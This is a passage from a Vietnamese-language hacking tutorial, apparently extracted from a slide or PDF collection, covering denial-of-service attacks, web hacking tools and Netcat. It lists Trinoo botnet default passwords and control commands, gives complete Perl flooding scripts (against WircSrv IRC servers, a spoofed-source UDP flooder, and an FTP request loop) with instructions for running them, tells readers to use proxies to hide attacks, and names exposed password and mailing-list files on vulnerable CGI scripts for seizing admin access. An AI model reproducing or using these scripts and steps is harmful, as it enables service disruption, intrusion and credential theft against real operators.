    http://wWw.Hack.Cf Page 166 thửcho biết thì được đúng không ? 41 . ) Tấn công DDoS thông qua Trinoo : _ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định . _ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source -----> Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống . attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is '^]'. kwijibo Connection closed by foreign host. < == Bạn đã nhập sai attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is '^]'. betaalmostdone trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo> < == bạn đã vào được hệ thống trinoo _ Đây là vài passwd mặc định : “l44adsl": pass của trinoo daemon . "gorave": passwd của trinoo master server khi startup . "betaalmostdone": passwd điều khiển từ xa chung cho trinoo master . "killme": passwd trinoo master điều khiển lệnh "mdie" . _ Đây là một số lệnh dùng để điều khiển Master Server: CODE die------------------------------------------------------------Shutdown. quit------------------------------------------------------------Log off. mtimer N----------------------------------------------------Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1--> 1999 giây . dos IP-------------------------------------------------------Tấn công đến một địa chỉ IP xác định .
  • 167.
    http://wWw.Hack.Cf Page 167 mdiepass---------------------------------------------------Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới ("d1e l44adsl") Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này mping--------------------------------------------------------Gửi một lệnh ping tới ("png l44adsl") c¸c Broadcast. mdos <ip1:ip2..> ------------------------------------------Send nhiều lênh DOS ("xyz l44adsl 123:ip1:ip2") đến các Broadcast. info-------------------------------------------------------------Hiển thị thông tin về Trinoo . msize----------------------------------------------------------Đặt kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS. nslookup host----------------------------------------------Xác định tên thiết bị của Host mà Master Trinoo đang chạy . usebackup---------------------------------------------------Chuyển tớI các file Broadcast sao lưu được tạo bởi lệnh “killdead”. bcast-----------------------------------------------------------Liệt kê danh sách tất cả các Broadcast có thể khai thác . help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh . mstop-----------------------------------------------------------Ngừng lại các cuốc tấn công DOS . _ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons: CODE aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-->1999 s . bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho các cuộc tấn công DOS . Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP. png pass-------------------------------------------------------Send chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP. die pass--------------------------------------------------------Shutdown Trinoo. rsz N------------------------------------------------------------Là kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte . xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêu cùng lúc . ( Dựa theo hướng dẫn của huynh Binhnx2000 ) Còn nhiều đoạn mã và cách ứng dụng để DoS lắm , các bạn chịu khó tìm hiểu thêm nhé . Nhưng đừng tấn công lung tung , nhất là server của HVA , coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó . Thân . GOODLUCK!!!!!!!!!!!!!!!! Hết phần 6
  • 168.
    http://wWw.Hack.Cf Page 168 Bàiviết của ANHDENDAY Firewall Chức năng chính của firewall là kiểm soát luồng thông tin từ giữa Internet và Intranet.Thiết lập cơ chế điều khiển dòng thông tin giữa mạng bên trong (Intranet) vàmạng Internet.VD: • Cho phép hoặc không cho phép những dịch vụ truy cập ra ngoài (Từ Intranet ra Internet) hay từ ngoài truy cập vào trong (Internet vào Intranet). • Theo dõi luồng dữ liệu giữa Internet và Intranet. • Kiểm soát địa chỉ truy cập , cấm địa chỉ nào đó truy cập. • Kiểm soát người sử dụng và việc truy cập của người sử dụng. • Kiểm soát nội dung thông tin lưu chuyển trên mạng. Tuy nhiên firewall vẫn có một số mặt hạn chế : • Firewall không đủ thông minh như con người để có thể đọc hiểu từng lọai thông tin và phân tích nội dung tốt hay xấu của nó.Firewall chỉ có thể ngăn chặn sự xâm nhập của những nguồn thông tin không mong muốn nhưng phải xác định rõ các địa chỉ truy cập. • Không thể ngăn cản những cuộc tấn công không đi qua nó , những cuộc tấn công bằng dữ liệu (data-drivent attack). • Không thể rà quét virus máy tính trên những dũ liệu được chuyển qua nó vì sự gia tăng nhanh chóng của các loại virus mới và có nhiều cách mã hoá dữ liệu để thoát khỏi sự kiểm soát của firewall Một số phần mềm firewall : 1-SMTP Gateway-Proxy Server cho cổng SMTP : Chương trình SMTP Gateway được xây dựng trên cơ sở sử dụng 2 phần mềm Smap và Smapd ,dùng để chống lại sự truy cập thông qua giao thức SMTP.Nguyên lý thực hiện là chặn trước chương trình Mail Server nguyên thủy của hệ thống , không cho phép các hệ thống bên ngoài kết nối tới Mail Server vì ở trong mạng tin cậy của mail server thường có một số quyền ưu tiên khá cao.Trên HĐH Unix , chương trình Mail Server được thực hiện bởi Sendmail (Send mail dùng để làm gì thì coi ở trên). Khi một hệ thống ở xa kết nối tới cổng SMTP , chương trình smap sẽ dành quyền phục vụ và chuyển tớ thư mục dành riêng và đặt USER-ID ở mức bình thường (không có quyền ưu tiên).Mục đích duy nhất của smap là đối thoại SMTP với các hệ thống khác , thu lượm mail , ghi vào đĩa , ghi nhật kí và kết thúc.Còn đối với Smapd , nó sẽ quét thư mục này thường xuyên , khi phát hiện có mail sẽ chuyển dữ liệu cho Sendmail để phân phát vào hòm thư cá nhân hoặc chuyển tiếp tới các mail server khác . Như vậy , một user lạ trên mạng sẽ không kết nối được tới Mail Server và tấ cả các thông tin theo đường này đều có thể kiểm soát được .Tuy nhiên nhược điểm của chương trình này là không thể giải quyết những vấn đề như là thư nặc danh hoặc các phương pháp tấn công bằng đường khác. 2-FTP Gateway -Proxy Server dành cho dịch vụ FTP:
  • 169.
    http://wWw.Hack.Cf Page 169 ProxyServer dành cho dĩch vụ FTP cung cấp khả năng kiểm soát khả năng truy cập vào dịch vụ FTP dựa trên địa chỉ IP và Hostname , và cung cấp quyền điều khiển truy cậo thứ cấp cho phép tuỳ chọn khoá hoặc ghi nhật kí bất kì lệnh FTP nào .Các địa chỉ đích này cũng có thể tuỳ chọn được (cho phép hoặc bị cấm ).Tất cả các sự kết nối và dung lượng dữ liệu chuyển qua đều bị nhật kí ghi lại. FTP Gateway tự bản thân nó không đe dọa an toành của hệ thống bởi vì nó chạy root tới một hư mục rỗng và không thực hiện bất kì thủ tục input/output file nào ngoài việc đọc file cấu hình của nó .FTP Server chỉ cung cấp dịch vụ FTP mà không quan tâm đến việc ai có quyền hay không có quyền dowload các file .Do vậy việc xác định quyền phải được thiết lập trên FTP Gateway và phải thực hiện trướ khi thực hiện việc upload/download file. FTP Gateway có thể ngăn ngừa mọi sự xâm nhập vào mạng qua cổng FTP một cách khá linh hoạt (cho phép ngăn cản từng địa chỉ hay toàn bộ mạng) và cũng kiểm soát việc truy cập tới từng khả năng như dowload /upload thông tin. 3-Telnet Gateway-Proxy Server cho Telnet : Telnet Gateway là một proxy server quản lý truy cập mạng dựa trên địa chỉ IP , hostname và cung cấp sự điều khiển truy cập thứ cấp cho phép tuỳ chọn khoá bất kì đích nào. Tất cả các sự kết nối dữ liệu chuyển qua đều được nhật kí ghi lại.Mỗi lần user kết nối tới Telnet Gateway , user phải chọn phương thức kết nối.Telnet Fateway không làm hại tới hệ thống vì nó chỉ hoạt động trong một phạm vi nhất định (được cho phép).VD : Hệ thống sẽ chuyển quyền điều khiển tới một thư mục dành riêng, đồng thời cắm truy cập tới những thư mục và file khác. Telnet Gateway được sử dụng để kiểm soát các truy cập vào mạng nội bộ.Các truy cập không được phép sẽ không thể thực hiện được một tác vụ nào , còn những truy cập hợp pháp sẽ bị nhật kí ghi lại (thời gian truy cập , những tác vụ …) 4-HTTP Gateway – Proxy Server dành cho Web : Cảm ơn sự ủng hộ của các bạn và đây là phần 7 42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 : _ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667. Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667: Nếu bạn dùng Unix: [hellme@die-communitech.net$ telnet irc.example.com 6667 Trying example.com... Connected to example.com. Escape character is '^]'. [buffer] Windows cũng tương tự:
  • 170.
    http://wWw.Hack.Cf Page 170 telnetirc.example.com 6667 Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự . Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ): CODE #!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl use Getopt::Std; use Socket; getopts('s:', %args); if(!defined($args{s})){&usage;} my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto); $foo = "A"; # Đây là NOP $number = "65000"; # Đây là tất cả số NOP $data .= $foo x $number; # kết quả của $foo times $number $serv = $args{s}; # lệnh điều khiển server từ xa $port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667 $buf = "$data"; $in_addr = (gethostbyname($serv))[4] || die("Error: $!n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!n"); $proto = getprotobyname('tcp') || die("Error: $!n"); socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf"; print S "$buf"; print("Data has been successfully sent to $servn"); sub usage {die("nn Lỗi WircSrv Version 5.07s có thể tấn công bằng DoS n gửi 2 64k gói tin đến server làm cho nó crash.n -s server_ipnn");} Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra theo lệnh sau : C:>perl < đường dẫn đến file *.pl > ( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được dễ dàng thôi ) 43 . ) Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 : _ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra : CODE
  • 171.
    http://wWw.Hack.Cf Page 171 #!/usr/bin/perl-w use Socket; use Net::RawIP; use Getopt::Std; getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##; print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant --- "; $l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2; $v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64; $p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $! "); ($o{'s'}&&$o{'d'})||die " Use: $0 [IP Options] [UDP Options] ", "IP Options: ", " -s* Đia chi nguon đe bat chuoc ", " -d* Đia chi bi tan cong ", " -v IP Version (def: $v) ", " -t IP Type of Service (TOS) (def: $t) ", " -f IP fragementation offset (def: $f) ", " -T IP Time to Live (TTL) (def: $T) ", "UDP Options: ", " -p cong cua may tinh nan nhan (def: $p) ", " -l chieu dai cua goi tin (def: $l) ", " -r cai đat du lieu ngau nhien (def: ".") ", "Generic: ", " -n So luong goi tin ta muon gui đi (def: $n) ", " -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he", " Bai huong dan cua ANHDENDAY . "; while($n > 0){ $|=1;print".";$sp=int rand 65535; $D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l; $nb=new Net::RawIP({ ip=> { version=>$v, tos=>$t, ttl=>$T, frag_off=>$f, saddr=>$o{'s'}, daddr=>$o{'d'} }, udp=> { source=>$sp, dest=>$p, len=>$l, data=>$D } });
  • 172.
    http://wWw.Hack.Cf Page 172 $nb->send;undef$nb;!$o{'L'}&&$n--; } print"Finish! "; _ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ dùng cho Win2000 nhé . 44 . ) Kỹ thuật tấn công DoS dễ dàng nhất : _ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn . _ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mã sau vào file abc.pl : CODE #!/usr/bin/perl use IO::Socket; sub initiate { if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host> <port> <username> <password>nVi du : perl abc.pl 127.0.0.1 21 anonymous me@n";} $host = $ARGV[0]; $port = $ARGV[1]; $user = $ARGV[2]; $pass = $ARGV[3]; }; sub connecttoserver { print("Connect den host: $hostn"); $socket = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM ) || die "khong the connect den $host"; print "Connect thanh cong . Loggin vao...n"; }; sub login { print "user $usern"; print $socket "user $userrn"; $response = <$socket>; print "$responsen"; print "pass $passn"; print $socket "pass $passrn"; $response = <$socket>;
  • 173.
    http://wWw.Hack.Cf Page 173 print"$responsen"; print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.n"; }; sub doit { for (;; ){ print "retr a:/xn"; print $socket "retr a:/xrn"; $response = <$socket>; print "$response"; } } initiate(); connecttoserver(); login(); doit(); _Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó sử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/xrn" . Khi muốn kết thúc bạn chỉ cần nhấn ctrl+C . _Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD : perl abc.pl http://www.xxx.com/ anonymous me trong đó User name và Password có thể là bất kỳ . Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ? Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để dành phần đó cho các bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi xin dừng phần DoS tại đây . 45 . ) Tự tạo cho mình một proxy để sài : _Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình một cái proxy made in <yourname> sài cho nó oai . Bây giờ hãy làm cùng tôi . _ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass mặc định mà nó cho bạn . _ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng chữ Test - script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó bạn nhấn "next" và nhìn ở phía dưới của trang này có chữ show all verdon , bạn hãy nhấn vào đó . _ Tiếp tục bạn nhấn James Marshall ==>CGIscript
  • 174.
    http://wWw.Hack.Cf Page 174 ==>CGIproxy==>Next==>accept==>cho đến khi bạn thấy một cái bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin vào các trang đó : + your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com . + FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com . + FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn . + Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn finish . + Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài . 46 . ) Kỹ thuật lấy pass thông qua lỗi của một số Script : a . ) Calendar CGI Script : _ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó nằm trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể tìm thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ việc dùng John The Ripper hay những công cụ khác để giải mã nó là xong : _file calendar.cfg thường đặt tại địa chỉ sau : http://www.xxx.com/cgi-bin/calendar/calendar.cfg sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ : http://www.xxx.com/cgi-bin/calen..._admin.pl?admin _ Vậy là bạn đã có được quyền admin rồi đó . b . ) WebBBS Script : _WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ luân phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn có thể sử dụng kết hợp password và username để cài đặt banners tạo một banner accounts mới , xoá accounts view sensitive info, vv.vv _Địa chỉ passwd của WebAdverts là : http://www.xxx.com/cgi-bin/advert/adpassword.txt sau khi giải mã bạn logging vào: http://www.xxx.com/cgi-bin/advert/ads_admin.pl để login như là script administrator . c . ) WWWBoard Script : _WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy search nó bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt . d . ) Mailmachine Script :
  • 175.
    http://wWw.Hack.Cf Page 175 _Mailmachine.cgilà một webbased mailinglist , bạn có thể trông thấy file adressed.txt chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy tại những urls sau: http://www.xxx.com/cgi-bin/mailman/addresses.txt http://www.xxx.com/cgi-bin/maillist/addresses.txt http://www.xxx.com/cgi-bin/mail/addresses.txt bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác . Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác . Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước ) . ==================================================== == Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post lên ở những phần trước tôi đã sơ ý không thêm ký hiệu “#” vào trước những câu phân tích đó , dẫn đến việc một số bạn thắc mắc là đoạn code không hoạt động . Tôi thành thật xin lỗi các bạn vì sơ ý của tôi , các bạn chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía trước dòng chú thích Tiếng Việt của tôi là được ( Thông thường tôi có sử dụng dấu “ < == ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý mà fix nhé . Chúc vui vẻ . GOOKLUCK!!!!!!!!!!!! Hết phần 7 . Bài viết của ANHDENDAY Đây là phần 8 . 47 . ) Các công cụ cần thiết để hack Web : _ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn” của mình : _ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé ) . _ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các exploit được
  • 176.
    http://wWw.Hack.Cf Page 176 viếtbằng C) như MinGW, Cygwin và các dev tools khác. Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account : http://www.freedomshell.com/ http://www.cyberspace.org/shell.html http://www.ultrashell.net/ _Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới. Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ . _ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác. _ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó. _ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ . _ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua các file *.pl . _ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng. _ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows NT/2000 . _ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn . 48 . ) Hướng dẫn sử dụng Netcat : a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat . b . ) Biên dịch :
  • 177.
    http://wWw.Hack.Cf Page 177 _Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng. - hiệu chỉnh file netcat.c bằng vi: vi netcat.c + tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init(); + thêm 2 dòng sau vào phần #define (nằm ở đầu file): #define GAPING_SECURITY_HOLE #define TELNET - biên dịch: make linux - chạy thử: ./nc -h - nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":." PATH=/sbin:/usr/sbin:...:. _ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong. c . ) Các tùy chọn của Netcat : _ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số: CODE C:>nc -h connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar) -e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe -h ----------- gọi hướng dẫn -i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi -l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến -L ------------ buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối. -n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS -o ------------ file ghi nhật kí vào file -p port ----- chỉ định cổng port -r yêu cầu Netcat chọn cổng ngẫu nhiên(random) -s addr ----- giả mạo địa chỉ IP nguồn là addr -t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd. -u ------------- dùng UDP(mặc định netcat dùng TCP) -v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại. -vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa. -w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây -z ------------- chế độ zero I/O, thường được sử dụng khi scan port Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
  • 178.
    http://wWw.Hack.Cf Page 178 d. ) Tìm hiểu Netcat qua các VD : _ Chộp banner của web server : Ví dụ: nc đến 172.16.84.2, cổng 80 CODE C:>nc 172.16.84.2 80 HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần) HTTP/1.1 200 OK Date: Sat, 05 Feb 2000 20:51:37 GMT Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1 Connection: close Content-Type: text/html Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ cho biết các thông tin chi tiết hơn nữa) C:>nc -vv 172.16.84.1 80 CODE 172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [172.16.84.1] 80 (?) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 04 Feb 2000 14:46:43 GMT Server: Apache/1.3.20 (Win32) Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT ETag: "0-cec-3899eaea" Accept-Ranges: bytes Content-Length: 3308 Connection: close Content-Type: text/html sent 17, rcvd 245: NOTSOCK Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ: nc -vv -o nhat_ki.log 172.16.84.2 80 xem file nhat_ki.log xem thử nó đã ghi những gì nhé : CODE < 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK. < 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F < 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
  • 179.
    http://wWw.Hack.Cf Page 179 <00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap < 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win < 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi < 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb < 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM < 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec- < 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep < 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes. < 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length: < 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio < 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten < 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm < 000000f0 